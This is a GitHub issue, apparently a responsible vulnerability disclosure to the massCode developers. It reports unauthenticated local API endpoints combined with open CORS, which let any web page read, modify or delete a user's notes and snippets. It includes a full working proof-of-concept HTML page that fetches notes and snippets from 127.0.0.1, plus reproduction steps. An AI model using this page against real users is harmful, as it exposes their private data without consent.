Skip to content

[vulnerability]: unauthenticated interfaces can lead to the arbitary note/code snippet read #910

Description

@notwo1f

Dear developer , I am Song@Jhu ,recently I audit your project ,and I have found a vulnerability,so I want to report it to you

Vulnerability Description

The massCode Notes module exposes a local HTTP API that is vulnerable to unauthorized cross-origin access. When the application starts, it exposes an Elysia API on a local port and enables permissive CORS in src/main/api/index.ts:34 by using cors({ origin: '*' }).

The audit found that Notes-related endpoints do not enforce authentication, including:

  • GET /notes
  • GET /notes/:id
  • POST /notes
  • PATCH /notes/:id/content
  • DELETE /notes/:id
  • GET /note-folders
  • POST /note-tags

An attacker only needs to trick a user who is running massCode into visiting a malicious web page. The page can then directly send browser requests to http://127.0.0.1:<port>, read the user's local notes list and note content, and potentially trigger note creation, modification, or deletion.

The impact includes disclosure of local vault note content, unauthorized modification of notes, and potential deletion of user data.

Vulnerability Principle

The issue is caused by two conditions:

  1. The local API enables open CORS:
// src/main/api/index.ts
.use(cors({ origin: '*' }))

This allows arbitrary web pages to read responses from the local massCode API.

  1. Notes routes do not require authentication:
// src/main/api/routes/notes.ts
.get('/', ...)
.get('/:id', ...)
.post('/', ...)
.patch('/:id/content', ...)
.delete('/:id', ...)

These endpoints directly call useNotesStorage() to read and write local note data, but they do not validate a token, Origin, Referer, or require any user interaction confirmation.

As a result, the browser same-origin policy does not protect the local API. As long as the massCode API is listening on the user's machine, a remote web page can access it with fetch() and read the response.

Vulnerability POC

The following POC is read-only and does not modify or delete any data.

Save the following content as an HTML file or host it on any web server. Make sure massCode is running on the victim machine and that the API port is 4321, or update the port to match the actual configuration.

<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>massCode Local API Audit</title>
  <style>
    body {
      margin: 24px;
      font-family: Arial, sans-serif;
      background: #f7f7f7;
      color: #222;
    }

    h1 {
      margin-top: 0;
      font-size: 22px;
    }

    .row {
      margin: 12px 0;
    }

    label {
      display: inline-block;
      width: 90px;
    }

    input, select, button {
      padding: 6px 8px;
      margin: 3px;
    }

    button {
      cursor: pointer;
    }

    pre {
      min-height: 420px;
      padding: 12px;
      overflow: auto;
      white-space: pre-wrap;
      background: #111;
      color: #eee;
      border: 1px solid #333;
    }
  </style>
</head>
<body>
  <h1>massCode Local API Audit</h1>

  <div class="row">
    <label for="port">Port</label>
    <input id="port" value="4321">
  </div>

  <div class="row">
    <button onclick="listNotes()">List notes</button>
    <select id="note-list" onchange="document.getElementById('note-id').value = this.value">
      <option value="">note id</option>
    </select>
    <input id="note-id" placeholder="note id">
    <button onclick="readNote()">Read note</button>
  </div>

  <div class="row">
    <button onclick="listSnippets()">List snippets</button>
    <select id="snippet-list" onchange="document.getElementById('snippet-id').value = this.value">
      <option value="">snippet id</option>
    </select>
    <input id="snippet-id" placeholder="snippet id">
    <button onclick="readSnippet()">Read snippet</button>
  </div>

  <div class="row">
    <button onclick="clearOutput()">Clear</button>
  </div>

  <pre id="output">Click a button to call the local massCode API.</pre>

  <script>
    function apiBase() {
      const port = document.getElementById('port').value || '4321';
      return 'http://127.0.0.1:' + port;
    }

    function show(value) {
      const output = document.getElementById('output');
      output.textContent = typeof value === 'string'
        ? value
        : JSON.stringify(value, null, 2);
    }

    function showError(error) {
      show(String(error && error.stack ? error.stack : error));
    }

    async function getJson(path) {
      const response = await fetch(apiBase() + path);
      const text = await response.text();

      if (!response.ok) {
        throw new Error(response.status + ' ' + response.statusText + '\n' + text);
      }

      return text ? JSON.parse(text) : null;
    }

    function itemsFrom(response) {
      if (Array.isArray(response)) return response;
      if (response && Array.isArray(response.data)) return response.data;
      if (response && Array.isArray(response.items)) return response.items;
      return [];
    }

    function fillSelect(selectId, items) {
      const select = document.getElementById(selectId);
      select.innerHTML = '<option value="">id</option>';

      for (const item of items) {
        const option = document.createElement('option');
        option.value = item.id;
        option.textContent = item.id + (item.name ? ' - ' + item.name : item.title ? ' - ' + item.title : '');
        select.appendChild(option);
      }

      if (items[0]) {
        select.value = items[0].id;
        select.dispatchEvent(new Event('change'));
      }
    }

    async function listNotes() {
      try {
        const response = await getJson('/notes');
        const notes = itemsFrom(response);
        fillSelect('note-list', notes);
        show({
          endpoint: 'GET /notes',
          count: notes.length,
          ids: notes.map((note) => note.id),
          response
        });
      } catch (error) {
        showError(error);
      }
    }

    async function readNote() {
      try {
        const id = document.getElementById('note-id').value;
        if (!id) throw new Error('Please enter or select a note id.');

        const note = await getJson('/notes/' + encodeURIComponent(id));
        show({
          endpoint: 'GET /notes/' + id,
          id,
          title: note && (note.name || note.title),
          content: note && note.content,
          response: note
        });
      } catch (error) {
        showError(error);
      }
    }

    async function listSnippets() {
      try {
        const response = await getJson('/snippets');
        const snippets = itemsFrom(response);
        fillSelect('snippet-list', snippets);
        show({
          endpoint: 'GET /snippets',
          count: snippets.length,
          ids: snippets.map((snippet) => snippet.id),
          response
        });
      } catch (error) {
        showError(error);
      }
    }

    async function readSnippet() {
      try {
        const id = document.getElementById('snippet-id').value;
        if (!id) throw new Error('Please enter or select a snippet id.');

        const snippet = await getJson('/snippets/' + encodeURIComponent(id));
        show({
          endpoint: 'GET /snippets/' + id,
          id,
          name: snippet && (snippet.name || snippet.title),
          contents: snippet && snippet.contents,
          response: snippet
        });
      } catch (error) {
        showError(error);
      }
    }

    function clearOutput() {
      show('');
    }
  </script>
</body>
</html>

   

Expected result:

  • The page can successfully read the response from GET /notes.
  • If at least one note exists, the page can also read GET /notes/:id.
  • The response displays note metadata and the details of a selected note.
  • The entire process does not require user authorization or a Bearer token.

Suggested severity: High. This vulnerability can lead to local note disclosure, and related unauthenticated endpoints can also modify or delete user data.

To reproduce

  1. copy the POC as html
  2. python3 -m http.server 8899 on the poc located directory in your local machine or remote machine
  3. then you add a note in masscode or code snippet in masscore
  4. open the poc deployed server address ,for exmple ,127.0.0.1:8899 ,then click the listnote or listcode
    you will see this webpage can read the saved note or code snippet on your machine

App Version and Architecture

5.10.0

System info

λ npx envinfo --system

  System:
    OS: Windows 10 10.0.19045
    CPU: (20) x64 13th Gen Intel(R) Core(TM) i5-13600KF
    Memory: 21.98 GB / 31.81 GB

Validations

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions